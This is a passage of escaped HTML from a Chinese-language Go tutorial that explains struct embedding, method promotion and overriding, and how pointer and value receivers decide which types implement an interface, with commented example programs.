class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// user 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 user 实现 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e Call() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Call user %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, u.name, u.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// Admin 类型 (外部类型)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 嵌套 user (内部类型)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Admin \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 重新实现 Admin 类型的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad *Admin)\u003c/span\u003e\u003c/span\u003e Call() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Call admin %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, ad.name, ad.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个接口 notifier,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 接口需要实现一个 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e notifier \u003cspan class=\"keyword\"\u003einterface\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 user 实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Sending a message to user %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, u.name, u.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个函数 sendNotification\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 函数接收一个实现了 notifier 接口的值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 然后调用参数的 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003esendNotification\u003c/span\u003e\u003cspan class=\"params\"\u003e(n notifier)\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 Admin 实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad *Admin)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;Sending a message to ADMIN %s\u0026lt;%s\u0026gt;\u0026#34;\u003c/span\u003e, ad.name, ad.phone)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 声明并初始化 Admin 类型的变量 ad\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad := Admin{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user: user{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone: \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level: \u003cspan class=\"string\"\u003e\u0026#34;super\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ad 调用 user 内部的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 由于内部类型的标识符提升,所以外部类型值 ad 也可以直接调用其内部类型的标识符(字段,方法,接口等)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(ad.name, ad.phone) \u003cspan class=\"comment\"\u003e// Jack 17688888888\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ad 重新实现一个和内部类型 user 一样的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 覆盖内部类型 user 提升的 Call 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.Call() \u003cspan class=\"comment\"\u003e// Call admin Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// user 内部的 Call 方法没有变化\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.Call() \u003cspan class=\"comment\"\u003e// Call user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 外部类型和内部类型调用接口方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(\u0026amp;ad) \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 外部类型重新实现接口方法后\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sendNotification(\u0026amp;ad) \u003cspan class=\"comment\"\u003e// Sending a message to ADMIN Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.notify() \u003cspan class=\"comment\"\u003e// Sending a message to ADMIN Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad.user.notify() \u003cspan class=\"comment\"\u003e// Sending a message to user Jack\u0026lt;17688888888\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"05-类型实现接口\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#05-%E7%B1%BB%E5%9E%8B%E5%AE%9E%E7%8E%B0%E6%8E%A5%E5%8F%A3\" class=\"headerlink\" title=\"**05.**类型实现接口\"\u003e\u003c/a\u003e**05.**类型实现接口\u003c/h2\u003e\u003cp\u003eGo语言中,接口是用来定义行为的类型,这些被定义的行为不由接口直接实现,而是通过方法由用户定义的类型实现。\u003c/p\u003e\u003cp\u003e如果用户定义的类型实现了某个接口里的一组方法,那么用户定义的这个类型值,就可以赋值给该接口值,此时用户定义的类型称为实体类型。\u003c/p\u003e\u003cp\u003e而用户定义的类型想要实现一个接口,需要遵循一些规则,这些规则使用方法集来进行定义。\u003c/p\u003e\u003cp\u003e从类型实现方法的接收者角度来看,可以描述为以下表格。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e方法接收者\u003c/th\u003e\u003cth align=\"left\"\u003e类型值或类型值的指针\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e(t T)\u003c/td\u003e\u003ctd align=\"left\"\u003eT and *T\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e(t *T)\u003c/td\u003e\u003ctd align=\"left\"\u003e*T\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e表示当类型的方法为指针接收者时,只有类型值的指针,才能实现接口。\u003c/p\u003e\u003cp\u003e如果类型的方法为值接收者,那么类型值还是类型值的指针都能够实现对应的接口。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 定义一个接口 notifier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 要实现 notifier 接口必须实现 notify 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e notifier \u003cspan class=\"keyword\"\u003einterface\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e user \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u *user)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;Send user a text\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e Admin \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 值接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(ad Admin)\u003c/span\u003e\u003c/span\u003e notify() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(\u003cspan class=\"string\"\u003e\u0026#34;Send admin a message\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 多态函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003esendNotification\u003c/span\u003e\u003cspan class=\"params\"\u003e(n notifier)\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify()\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ---指针接收者方法的类型实现接口示例---\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u := user{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone: \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 尝试将类型值实现接口 notifier\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 因为类型的方法是指针接收者\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值实现接口时,会编译不通过\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var n notifier = u // Cannot use \u0026#39;u\u0026#39; (type user) as type notifier Type does not implement \u0026#39;notifier\u0026#39; as \u0026#39;notify\u0026#39; method has a pointer receiver\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 使用类型值得指针,可以正常实现接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e n notifier = \u0026amp;u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e n.notify() \u003cspan class=\"comment\"\u003e// Send user a text\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ---值接收者方法的类型实现接口示例---\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 实现值接收者方法的类型实现接口\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ad := Admin{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e user: user{\u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;17688888888\u0026#34;\u003c/span\u003e},\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e level: \u003cspan 